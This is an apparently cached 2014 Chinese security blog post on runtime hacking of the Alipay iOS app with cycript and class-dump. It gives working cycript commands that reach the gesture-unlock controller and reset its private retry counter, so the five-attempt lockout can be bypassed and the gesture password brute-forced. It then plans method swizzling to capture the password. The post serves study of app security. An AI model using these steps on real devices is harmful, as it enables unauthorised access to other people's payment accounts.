解除支付宝APP手势解锁错误次数限制

2014-08-13 Xiaosong Gao 更多博文 » 博客 » GitHub »

Security

原文链接 https://gaoxiaosong.github.io/2014/08/13/unlock-alipay-gesture-error-limit.html
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。


之前仅仅介绍了工具的使用,本文将实践一下如何利用cycript结合class-dump进行Hack,还要牺牲一下支付宝APP。

首先,老套路,取到手势解锁界面的View Controller:

cy# var app = [UIApplication sharedApplication]
@"<DFApplication: 0x1666c960>"
cy# var keyWindow = app.keyWindow
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"
cy# var root = keyWindow.rootViewController
@"<UINavigationController: 0x179779a0>"
cy# var visible = root.visibleViewController
@"<GestureUnlockViewController: 0x165de090>"

然后,对照class-dump-z结果,来分析GestureUnlockViewController有什么利用价值:

@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {
@private
  GestureHeadImageView* _headImageView;
  GestureTipLabel* _tipLabel;
  GestureInputView* _inputView;
  DTButton* _forgetButton;
  DTButton* _changeAccountButton;
  int _retryCount;
  UIView* _guideView;
  id<GestrueViewControllerDelegate> _delegate;
}
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;
-(void).cxx_destruct;
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;
-(void)headClicked;
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)actionChangeAccountToLogin;
-(void)actionResetPswBtnClick;
-(void)resetCurrentUser;
-(void)resetPsw;
-(void)viewWillDisappear:(BOOL)view;
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;
-(void)viewWillAppear:(BOOL)view;
-(void)breakFirstRun;
-(BOOL)isFirstRun;
-(void)guideViewClicked:(id)clicked;
-(void)viewDidLoad;
-(void)viewWillLayoutSubviews;
@end

目测_tipLabel是写账户名和提示操作的label,上篇文章我提到过:@private限制不了keyPath,现在我们来修改一下支付宝登录页的用户名信息:

cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]

example

支付宝手势密码解锁有尝试次数限制,连续错5次就要重新登录。

我想解除重试解锁次数的限制,发现了记录解锁次数的类型是int,int _retryCount,这一点让我很不开心,因为我无法通过KVC来修改其值了。

但是没有关系,我可以通过指针访问:

cy# visible->_retryCount = 0
0

这样我就能无限制的用程序暴力破解手势密码了,来计算一下有多少种可能呢?

这个数字对我来说有点大,可是对iPhone 5的CPU来说就是小菜一碟了~

等一下,密码格式是什么呢?

-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;

id类型的密码,很严谨,又给hack带来不少麻烦呀~

不过没关系,我们可以利用Method Swizzling来打出password到底是什么。